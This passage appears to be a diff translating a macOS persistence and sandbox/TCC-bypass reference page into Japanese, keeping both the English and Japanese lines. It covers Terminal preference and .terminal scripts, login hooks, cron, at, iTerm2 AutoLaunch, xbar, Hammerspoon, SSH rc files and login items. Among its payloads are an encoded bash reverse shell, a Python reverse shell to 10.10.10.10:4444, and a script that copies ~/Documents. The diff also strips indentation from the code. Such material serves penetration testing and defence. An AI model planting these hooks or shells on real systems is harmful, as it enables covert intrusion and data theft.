:TALAppsToRelaunchAtLogin:$:Hide 0" \ - -c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \ - ~/Library/Preferences/ByHost/com.apple.loginwindow..plist +-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \ +-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \ +-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \ +-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \ +~/Library/Preferences/ByHost/com.apple.loginwindow..plist ``` +### ターミナルの設定 -### Terminal Preferences +- サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button) +- TCCバイパス: [✅](https://emojipedia.org/check-mark-button) +- ターミナルはユーザーが使用するFDA権限を持つ -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) - - Terminal use to have FDA permissions of the user use it - -#### Location +#### 場所 - **`~/Library/Preferences/com.apple.Terminal.plist`** - - **Trigger**: Open Terminal +- **トリガー**: ターミナルを開く -#### Description & Exploitation +#### 説明と悪用 -In **`~/Library/Preferences`** are store the preferences of the user in the Applications. Some of these preferences can hold a configuration to **execute other applications/scripts**. +**`~/Library/Preferences`** にはアプリケーションのユーザー設定が保存されています。これらの設定のいくつかは、**他のアプリケーション/スクリプトを実行する**ための構成を保持することができます。 -For example, the Terminal can execute a command in the Startup: +例えば、ターミナルはスタートアップでコマンドを実行できます:
-This config is reflected in the file **`~/Library/Preferences/com.apple.Terminal.plist`** like this: - +この設定は、ファイル **`~/Library/Preferences/com.apple.Terminal.plist`** に次のように反映されます: ```bash [...] "Window Settings" => { - "Basic" => { - "CommandString" => "touch /tmp/terminal_pwn" - "Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf } - "FontAntialias" => 1 - "FontWidthSpacing" => 1.004032258064516 - "name" => "Basic" - "ProfileCurrentVersion" => 2.07 - "RunCommandAsShell" => 0 - "type" => "Window Settings" - } +"Basic" => { +"CommandString" => "touch /tmp/terminal_pwn" +"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf } +"FontAntialias" => 1 +"FontWidthSpacing" => 1.004032258064516 +"name" => "Basic" +"ProfileCurrentVersion" => 2.07 +"RunCommandAsShell" => 0 +"type" => "Window Settings" +} [...] ``` +システムのターミナルの設定のplistが上書きできる場合、**`open`** 機能を使用して **ターミナルを開き、そのコマンドが実行される** ことができます。 -So, if the plist of the preferences of the terminal in the system could be overwritten, the the **`open`** functionality can be used to **open the terminal and that command will be executed**. - -You can add this from the cli with: - +これをCLIから追加するには: ```bash # Add /usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist @@ -245,24 +232,22 @@ You can add this from the cli with: # Remove /usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist ``` - ### Terminal Scripts / Other file extensions -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) - - Terminal use to have FDA permissions of the user use it +- サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button) +- TCCバイパス: [✅](https://emojipedia.org/check-mark-button) +- ユーザーが使用するFDA権限を持つターミナル #### Location - **Anywhere** - - **Trigger**: Open Terminal +- **Trigger**: Open Terminal #### Description & Exploitation -If you create a [**`.terminal`** script](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) and opens, the **Terminal application** will be automatically invoked to execute the commands indicated in there. If the Terminal app has some special privileges (such as TCC), your command will be run with those special privileges. +[**`.terminal`** スクリプト](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx)を作成して開くと、**Terminal application**が自動的に起動し、そこに示されたコマンドが実行されます。ターミナルアプリが特別な権限(TCCなど)を持っている場合、あなたのコマンドはその特別な権限で実行されます。 Try it with: - ```bash # Prepare the payload cat > /tmp/test.terminal << EOF @@ -270,16 +255,16 @@ cat > /tmp/test.terminal << EOF - CommandString - mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents; - ProfileCurrentVersion - 2.0600000000000001 - RunCommandAsShell - - name - exploit - type - Window Settings +CommandString +mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents; +ProfileCurrentVersion +2.0600000000000001 +RunCommandAsShell + +name +exploit +type +Window Settings EOF @@ -290,48 +275,47 @@ open /tmp/test.terminal # Use something like the following for a reverse shell: echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash; ``` - -You could also use the extensions **`.command`**, **`.tool`**, with regular shell scripts content and they will be also opened by Terminal. +あなたは、通常のシェルスクリプトの内容を持つ拡張子 **`.command`**、**`.tool`** を使用することもでき、これらはTerminalによっても開かれます。 > [!CAUTION] -> If terminal has **Full Disk Access** it will be able to complete that action (note that the command executed will be visible in a terminal window). +> Terminalが**フルディスクアクセス**を持っている場合、そのアクションを完了することができます(実行されたコマンドはターミナルウィンドウに表示されることに注意してください)。 -### Audio Plugins +### オーディオプラグイン Writeup: [https://theevilbit.github.io/beyond/beyond_0013/](https://theevilbit.github.io/beyond/beyond_0013/)\ Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC bypass: [🟠](https://emojipedia.org/large-orange-circle) - - You might get some extra TCC access +- サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button) +- TCCバイパス: [🟠](https://emojipedia.org/large-orange-circle) +- 追加のTCCアクセスを得ることができるかもしれません -#### Location +#### ロケーション - **`/Library/Audio/Plug-Ins/HAL`** - - Root required - - **Trigger**: Restart coreaudiod or the computer +- ルートが必要 +- **トリガー**: coreaudiodまたはコンピュータを再起動 - **`/Library/Audio/Plug-ins/Components`** - - Root required - - **Trigger**: Restart coreaudiod or the computer +- ルートが必要 +- **トリガー**: coreaudiodまたはコンピュータを再起動 - **`~/Library/Audio/Plug-ins/Components`** - - **Trigger**: Restart coreaudiod or the computer +- **トリガー**: coreaudiodまたはコンピュータを再起動 - **`/System/Library/Components`** - - Root required - - **Trigger**: Restart coreaudiod or the computer +- ルートが必要 +- **トリガー**: coreaudiodまたはコンピュータを再起動 -#### Description +#### 説明 -According to the previous writeups it's possible to **compile some audio plugins** and get them loaded. +以前の書き込みによると、**いくつかのオーディオプラグインをコンパイル**して読み込むことが可能です。 -### QuickLook Plugins +### QuickLookプラグイン Writeup: [https://theevilbit.github.io/beyond/beyond_0028/](https://theevilbit.github.io/beyond/beyond_0028/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC bypass: [🟠](https://emojipedia.org/large-orange-circle) - - You might get some extra TCC access +- サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button) +- TCCバイパス: [🟠](https://emojipedia.org/large-orange-circle) +- 追加のTCCアクセスを得ることができるかもしれません -#### Location +#### ロケーション - `/System/Library/QuickLook` - `/Library/QuickLook` @@ -339,29 +323,28 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0028/](https://theevilbit.g - `/Applications/AppNameHere/Contents/Library/QuickLook/` - `~/Applications/AppNameHere/Contents/Library/QuickLook/` -#### Description & Exploitation +#### 説明と悪用 -QuickLook plugins can be executed when you **trigger the preview of a file** (press space bar with the file selected in Finder) and a **plugin supporting that file type** is installed. +QuickLookプラグインは、**ファイルのプレビューをトリガーしたとき**(Finderでファイルを選択してスペースバーを押す)に実行され、**そのファイルタイプをサポートするプラグイン**がインストールされている必要があります。 -It's possible to compile your own QuickLook plugin, place it in one of the previous locations to load it and then go to a supported file and press space to trigger it. +自分のQuickLookプラグインをコンパイルし、前述のいずれかの場所に配置して読み込ませ、サポートされているファイルに移動してスペースを押してトリガーすることが可能です。 -### ~~Login/Logout Hooks~~ +### ~~ログイン/ログアウトフック~~ > [!CAUTION] -> This didn't work for me, neither with the user LoginHook nor with the root LogoutHook +> これは私には機能しませんでした。ユーザーログインフックでもルートログアウトフックでもありませんでした。 **Writeup**: [https://theevilbit.github.io/beyond/beyond_0022/](https://theevilbit.github.io/beyond/beyond_0022/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button) +- TCCバイパス: [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### ロケーション -- You need to be able to execute something like `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh` - - `Lo`cated in `~/Library/Preferences/com.apple.loginwindow.plist` - -They are deprecated but can be used to execute commands when a user logs in. +- `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh`のようなコマンドを実行できる必要があります +- `~/Library/Preferences/com.apple.loginwindow.plist`にあります +これらは非推奨ですが、ユーザーがログインするときにコマンドを実行するために使用できます。 ```bash cat > $HOME/hook.sh << EOF #!/bin/bash @@ -371,97 +354,85 @@ chmod +x $HOME/hook.sh defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh ``` - -This setting is stored in `/Users/$USER/Library/Preferences/com.apple.loginwindow.plist` - +この設定は `/Users/$USER/Library/Preferences/com.apple.loginwindow.plist` に保存されます。 ```bash defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist { - LoginHook = "/Users/username/hook.sh"; - LogoutHook = "/Users/username/hook.sh"; - MiniBuddyLaunch = 0; - TALLogoutReason = "Shut Down"; - TALLogoutSavesState = 0; - oneTimeSSMigrationComplete = 1; +LoginHook = "/Users/username/hook.sh"; +LogoutHook = "/Users/username/hook.sh"; +MiniBuddyLaunch = 0; +TALLogoutReason = "Shut Down"; +TALLogoutSavesState = 0; +oneTimeSSMigrationComplete = 1; } ``` - -To delete it: - +削除するには: ```bash defaults delete com.apple.loginwindow LoginHook defaults delete com.apple.loginwindow LogoutHook ``` +ルートユーザーのものは**`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`**に保存されています。 -The root user one is stored in **`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`** - -## Conditional Sandbox Bypass +## 条件付きサンドボックスバイパス > [!TIP] -> Here you can find start locations useful for **sandbox bypass** that allows you to simply execute something by **writing it into a file** and **expecting not super common conditions** like specific **programs installed, "uncommon" user** actions or environments. +> ここでは、**サンドボックスバイパス**に役立つスタートロケーションを見つけることができ、**ファイルに書き込む**ことで何かを単純に実行し、特定の**プログラムがインストールされている、"珍しい"ユーザー**アクションや環境のような**あまり一般的でない条件**を期待することができます。 ### Cron **Writeup**: [https://theevilbit.github.io/beyond/beyond_0004/](https://theevilbit.github.io/beyond/beyond_0004/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - However, you need to be able to execute `crontab` binary - - Or be root -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- サンドボックスをバイパスするのに役立ちます: [✅](https://emojipedia.org/check-mark-button) +- ただし、`crontab`バイナリを実行できる必要があります +- または、ルートである必要があります +- TCCバイパス: [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### ロケーション - **`/usr/lib/cron/tabs/`, `/private/var/at/tabs`, `/private/var/at/jobs`, `/etc/periodic/`** - - Root required for direct write access. No root required if you can execute `crontab ` - - **Trigger**: Depends on the cron job +- 直接書き込みアクセスにはルートが必要です。`crontab `を実行できる場合はルートは不要です +- **トリガー**: cronジョブに依存します -#### Description & Exploitation - -List the cron jobs of the **current user** with: +#### 説明と悪用 +現在の**ユーザー**のcronジョブをリストします: ```bash crontab -l ``` +ユーザーのすべてのcronジョブは**`/usr/lib/cron/tabs/`**および**`/var/at/tabs/`**で見ることができます(rootが必要です)。 -You can also see all the cron jobs of the users in **`/usr/lib/cron/tabs/`** and **`/var/at/tabs/`** (needs root). - -In MacOS several folders executing scripts with **certain frequency** can be found in: - +MacOSでは、**特定の頻度**でスクリプトを実行するいくつかのフォルダーが見つかります: ```bash # The one with the cron jobs is /usr/lib/cron/tabs/ ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/ ``` +そこでは、通常の **cron** **ジョブ**、**at** **ジョブ**(あまり使用されない)、および **定期的** **ジョブ**(主に一時ファイルのクリーンアップに使用される)を見つけることができます。毎日の定期的ジョブは、例えば次のように実行できます: `periodic daily`。 -There you can find the regular **cron** **jobs**, the **at** **jobs** (not very used) and the **periodic** **jobs** (mainly used for cleaning temporary files). The daily periodic jobs can be executed for example with: `periodic daily`. - -To add a **user cronjob programatically** it's possible to use: - +**ユーザーのcronジョブをプログラム的に**追加するには、次のようにすることができます: ```bash echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron crontab /tmp/cron ``` - ### iTerm2 Writeup: [https://theevilbit.github.io/beyond/beyond_0002/](https://theevilbit.github.io/beyond/beyond_0002/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) - - iTerm2 use to have granted TCC permissions +- サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button) +- TCCバイパス: [✅](https://emojipedia.org/check-mark-button) +- iTerm2はTCC権限が付与されていた #### Locations - **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** - - **Trigger**: Open iTerm +- **Trigger**: iTermを開く - **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** - - **Trigger**: Open iTerm +- **Trigger**: iTermを開く - **`~/Library/Preferences/com.googlecode.iterm2.plist`** - - **Trigger**: Open iTerm +- **Trigger**: iTermを開く #### Description & Exploitation -Scripts stored in **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** will be executed. For example: - +**`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`**に保存されたスクリプトは実行されます。例えば: ```bash cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF #!/bin/bash @@ -470,52 +441,44 @@ EOF chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" ``` - -or: - +または: ```bash cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF #!/usr/bin/env python3 import iterm2,socket,subprocess,os async def main(connection): - s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']); - async with iterm2.CustomControlSequenceMonitor( - connection, "shared-secret", r'^create-window$') as mon: - while True: - match = await mon.async_get() - await iterm2.Window.async_create(connection) +s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']); +async with iterm2.CustomControlSequenceMonitor( +connection, "shared-secret", r'^create-window$') as mon: +while True: +match = await mon.async_get() +await iterm2.Window.async_create(connection) iterm2.run_forever(main) EOF ``` - -The script **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** will also be executed: - +スクリプト **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** も実行されます: ```bash do shell script "touch /tmp/iterm2-autolaunchscpt" ``` +**`~/Library/Preferences/com.googlecode.iterm2.plist`** にある iTerm2 の設定は、iTerm2 ターミナルが開かれたときに **実行するコマンドを示す** ことができます。 -The iTerm2 preferences located in **`~/Library/Preferences/com.googlecode.iterm2.plist`** can **indicate a command to execute** when the iTerm2 terminal is opened. - -This setting can be configured in the iTerm2 settings: +この設定は iTerm2 の設定で構成できます:
-And the command is reflected in the preferences: - +そして、そのコマンドは設定に反映されます: ```bash plutil -p com.googlecode.iterm2.plist { - [...] - "New Bookmarks" => [ - 0 => { - [...] - "Initial Text" => "touch /tmp/iterm-start-command" +[...] +"New Bookmarks" => [ +0 => { +[...] +"Initial Text" => "touch /tmp/iterm-start-command" ``` - -You can set the command to execute with: - +コマンドを実行するには、次のように設定できます: ```bash # Add /usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist @@ -526,28 +489,26 @@ open /Applications/iTerm.app/Contents/MacOS/iTerm2 # Remove /usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist ``` - > [!WARNING] -> Highly probable there are **other ways to abuse the iTerm2 preferences** to execute arbitrary commands. +> iTerm2の設定を悪用して任意のコマンドを実行する**他の方法がある可能性が高い**です。 ### xbar Writeup: [https://theevilbit.github.io/beyond/beyond_0007/](https://theevilbit.github.io/beyond/beyond_0007/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But xbar must be installed -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) - - It requests Accessibility permissions +- サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button) +- ただし、xbarをインストールする必要があります +- TCCバイパス: [✅](https://emojipedia.org/check-mark-button) +- アクセシビリティの権限を要求します #### Location - **`~/Library/Application\ Support/xbar/plugins/`** - - **Trigger**: Once xbar is executed +- **Trigger**: xbarが実行されるとき #### Description -If the popular program [**xbar**](https://github.com/matryer/xbar) is installed, it's possible to write a shell script in **`~/Library/Application\ Support/xbar/plugins/`** which will be executed when xbar is started: - +人気のプログラム[**xbar**](https://github.com/matryer/xbar)がインストールされている場合、**`~/Library/Application\ Support/xbar/plugins/`**にシェルスクリプトを書くことができ、xbarが起動するときに実行されます: ```bash cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF #!/bin/bash @@ -555,79 +516,76 @@ touch /tmp/xbar EOF chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh" ``` - ### Hammerspoon **Writeup**: [https://theevilbit.github.io/beyond/beyond_0008/](https://theevilbit.github.io/beyond/beyond_0008/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But Hammerspoon must be installed -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) - - It requests Accessibility permissions +- サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button) +- しかし、Hammerspoonはインストールされている必要があります +- TCCバイパス: [✅](https://emojipedia.org/check-mark-button) +- アクセシビリティの権限を要求します #### Location - **`~/.hammerspoon/init.lua`** - - **Trigger**: Once hammerspoon is executed +- **Trigger**: Hammerspoonが実行されるとき #### Description -[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) serves as an automation platform for **macOS**, leveraging the **LUA scripting language** for its operations. Notably, it supports the integration of complete AppleScript code and the execution of shell scripts, enhancing its scripting capabilities significantly. - -The app looks for a single file, `~/.hammerspoon/init.lua`, and when started the script will be executed. +[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon)は、**macOS**のための自動化プラットフォームとして機能し、**LUAスクリプト言語**をその操作に利用します。特に、完全なAppleScriptコードの統合とシェルスクリプトの実行をサポートし、スクリプト機能を大幅に強化しています。 +アプリは単一のファイル`~/.hammerspoon/init.lua`を探し、起動時にスクリプトが実行されます。 ```bash mkdir -p "$HOME/.hammerspoon" cat > "$HOME/.hammerspoon/init.lua" << EOF hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2") EOF ``` - ### BetterTouchTool -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But BetterTouchTool must be installed -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) - - It requests Automation-Shortcuts and Accessibility permissions +- サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button) +- しかし、BetterTouchToolをインストールする必要があります +- TCCバイパス: [✅](https://emojipedia.org/check-mark-button) +- Automation-ShortcutsとAccessibilityの権限を要求します #### Location - `~/Library/Application Support/BetterTouchTool/*` -This tool allows to indicate applications or scripts to execute when some shortcuts are pressed . An attacker might be able configure his own **shortcut and action to execute in the database** to make it execute arbitrary code (a shortcut could be to just to press a key). +このツールは、特定のショートカットが押されたときに実行するアプリケーションやスクリプトを指定することを可能にします。攻撃者は、**データベース内で自分のショートカットと実行アクションを構成して、任意のコードを実行させる**ことができるかもしれません(ショートカットは単にキーを押すことかもしれません)。 ### Alfred -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But Alfred must be installed -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) - - It requests Automation, Accessibility and even Full-Disk access permissions +- サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button) +- しかし、Alfredをインストールする必要があります +- TCCバイパス: [✅](https://emojipedia.org/check-mark-button) +- Automation、Accessibility、さらにはFull-Diskアクセスの権限を要求します #### Location - `???` -It allows to create workflows that can execute code when certain conditions are met. Potentially it's possible for an attacker to create a workflow file and make Alfred load it (it's needed to pay the premium version to use workflows). +特定の条件が満たされたときにコードを実行できるワークフローを作成することができます。攻撃者がワークフローファイルを作成し、Alfredにそれを読み込ませることが可能かもしれません(ワークフローを使用するにはプレミアム版を購入する必要があります)。 ### SSHRC Writeup: [https://theevilbit.github.io/beyond/beyond_0006/](https://theevilbit.github.io/beyond/beyond_0006/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But ssh needs to be enabled and used -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) - - SSH use to have FDA access +- サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button) +- しかし、sshを有効にして使用する必要があります +- TCCバイパス: [✅](https://emojipedia.org/check-mark-button) +- SSHはFDAアクセスを持っていました #### Location - **`~/.ssh/rc`** - - **Trigger**: Login via ssh +- **Trigger**: ssh経由でのログイン - **`/etc/ssh/sshrc`** - - Root required - - **Trigger**: Login via ssh +- ルートが必要 +- **Trigger**: ssh経由でのログイン > [!CAUTION] -> To turn ssh on requres Full Disk Access: +> sshをオンにするにはFull Disk Accessが必要です: > > ```bash > sudo systemsetup -setremotelogin on @@ -635,30 +593,29 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0006/](https://theevilbit.g #### Description & Exploitation -By default, unless `PermitUserRC no` in `/etc/ssh/sshd_config`, when a user **logins via SSH** the scripts **`/etc/ssh/sshrc`** and **`~/.ssh/rc`** will be executed. +デフォルトでは、`/etc/ssh/sshd_config`に`PermitUserRC no`がない限り、ユーザーが**SSH経由でログイン**すると、スクリプト**`/etc/ssh/sshrc`**と**`~/.ssh/rc`**が実行されます。 ### **Login Items** Writeup: [https://theevilbit.github.io/beyond/beyond_0003/](https://theevilbit.github.io/beyond/beyond_0003/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But you need to execute `osascript` with args -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button) +- しかし、引数付きで`osascript`を実行する必要があります +- TCCバイパス: [🔴](https://emojipedia.org/large-red-circle) #### Locations - **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** - - **Trigger:** Login - - Exploit payload stored calling **`osascript`** +- **Trigger:** ログイン +- **`osascript`**を呼び出すエクスプロイトペイロードが保存されます - **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** - - **Trigger:** Login - - Root required +- **Trigger:** ログイン +- ルートが必要 #### Description -In System Preferences -> Users & Groups -> **Login Items** you can find **items to be executed when the user logs in**.\ -It it's possible to list them, add and remove from the command line: - +システム環境設定 -> ユーザーとグループ -> **ログイン項目**で、**ユーザーがログインしたときに実行される項目**を見つけることができます。\ +それらをリストし、コマンドラインから追加および削除することが可能です: ```bash #List all items: osascript -e 'tell application "System Events" to get the name of every login item' @@ -669,57 +626,49 @@ osascript -e 'tell application "System Events" to make login item at end with pr #Remove an item: osascript -e 'tell application "System Events" to delete login item "itemname"' ``` +これらの項目はファイル **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** に保存されています。 -These items are stored in the file **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** +**ログイン項目** は、API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) を使用しても示されることがあり、設定は **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** に保存されます。 -**Login items** can **also** be indicated in using the API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) which will store the configuration in **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** +### ZIPをログイン項目として -### ZIP as Login Item +(ログイン項目に関する前のセクションを参照してください、これは拡張です) -(Check previous section about Login Items, this is an extension) +**ZIP** ファイルを **ログイン項目** として保存すると、**`Archive Utility`** がそれを開きます。例えば、ZIPが **`~/Library`** に保存され、**`LaunchAgents/file.plist`** フォルダーにバックドアが含まれている場合、そのフォルダーが作成され(デフォルトでは作成されません)、plistが追加されるため、次回ユーザーが再ログインすると、**plistに示されたバックドアが実行されます**。 -If you store a **ZIP** file as a **Login Item** the **`Archive Utility`** will open it and if the zip was for example stored in **`~/Library`** and contained the Folder **`LaunchAgents/file.plist`** with a backdoor, that folder will be created (it isn't by default) and the plist will be added so the next time the user logs in again, the **backdoor indicated in the plist will be executed**. +別のオプションは、ユーザーのHOME内に **`.bash_profile`** と **`.zshenv`** ファイルを作成することで、LaunchAgentsフォルダーがすでに存在する場合でもこの技術は機能します。 -Another options would be to create the files **`.bash_profile`** and **`.zshenv`** inside the user HOME so if the folder LaunchAgents already exist this technique would still work. - -### At +### at Writeup: [https://theevilbit.github.io/beyond/beyond_0014/](https://theevilbit.github.io/beyond/beyond_0014/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But you need to **execute** **`at`** and it must be **enabled** -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button) +- しかし、**`at`** を **実行** する必要があり、**有効** でなければなりません +- TCCバイパス: [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### 場所 -- Need to **execute** **`at`** and it must be **enabled** +- **`at`** を **実行** する必要があり、**有効** でなければなりません -#### **Description** +#### **説明** -`at` tasks are designed for **scheduling one-time tasks** to be executed at certain times. Unlike cron jobs, `at` tasks are automatically removed post-execution. It's crucial to note that these tasks are persistent across system reboots, marking them as potential security concerns under certain conditions. - -By **default** they are **disabled** but the **root** user can **enable** **them** with: +`at` タスクは、特定の時間に実行される **一度きりのタスクをスケジュールする** ために設計されています。cronジョブとは異なり、`at` タスクは実行後に自動的に削除されます。これらのタスクはシステムの再起動を超えて持続するため、特定の条件下では潜在的なセキュリティ上の懸念としてマークされることが重要です。 +**デフォルト** では **無効** ですが、**root** ユーザーは **それらを有効** にすることができます: ```bash sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist ``` - -This will create a file in 1 hour: - +これは1時間後にファイルを作成します: ```bash echo "echo 11 > /tmp/at.txt" | at now+1 ``` - -Check the job queue using `atq:` - +`atq`を使用してジョブキューを確認します: ```shell-session sh-3.2# atq 26 Tue Apr 27 00:46:00 2021 22 Wed Apr 28 00:29:00 2021 ``` - -Above we can see two jobs scheduled. We can print the details of the job using `at -c JOBNUMBER` - +上記には2つのジョブがスケジュールされています。ジョブの詳細は `at -c JOBNUMBER` を使用して印刷できます。 ```shell-session sh-3.2# at -c 26 #!/bin/sh @@ -744,18 +693,16 @@ LC_CTYPE=UTF-8; export LC_CTYPE SUDO_GID=20; export SUDO_GID _=/usr/bin/at; export _ cd /Users/csaby || { - echo 'Execution directory inaccessible' >&2 - exit 1 +echo 'Execution directory inaccessible' >&2 +exit 1 } unset OLDPWD echo 11 > /tmp/at.txt ``` - > [!WARNING] -> If AT tasks aren't enabled the created tasks won't be executed. - -The **job files** can be found at `/private/var/at/jobs/` +> ATタスクが有効でない場合、作成されたタスクは実行されません。 +**ジョブファイル**は`/private/var/at/jobs/`にあります。 ``` sh-3.2# ls -l /private/var/at/jobs/ total 32 @@ -764,46 +711,44 @@ total 32 -r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2 -rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2 ``` +ファイル名にはキュー、ジョブ番号、および実行予定の時間が含まれています。例えば、`a0001a019bdcd2`を見てみましょう。 -The filename contains the queue, the job number, and the time it’s scheduled to run. For example let’s take a loot at `a0001a019bdcd2`. +- `a` - これはキューです +- `0001a` - ジョブ番号(16進数)、`0x1a = 26` +- `019bdcd2` - 時間(16進数)。エポックから経過した分を表します。`0x019bdcd2`は10進数で`26991826`です。これに60を掛けると`1619509560`になり、`GMT: 2021年4月27日、火曜日 7:46:00`となります。 -- `a` - this is the queue -- `0001a` - job number in hex, `0x1a = 26` -- `019bdcd2` - time in hex. It represents the minutes passed since epoch. `0x019bdcd2` is `26991826` in decimal. If we multiply it by 60 we get `1619509560`, which is `GMT: 2021. April 27., Tuesday 7:46:00`. +ジョブファイルを印刷すると、`at -c`を使用して得たのと同じ情報が含まれていることがわかります。 -If we print the job file, we find that it contains the same information we got using `at -c`. - -### Folder Actions +### フォルダーアクション Writeup: [https://theevilbit.github.io/beyond/beyond_0024/](https://theevilbit.github.io/beyond/beyond_0024/)\ Writeup: 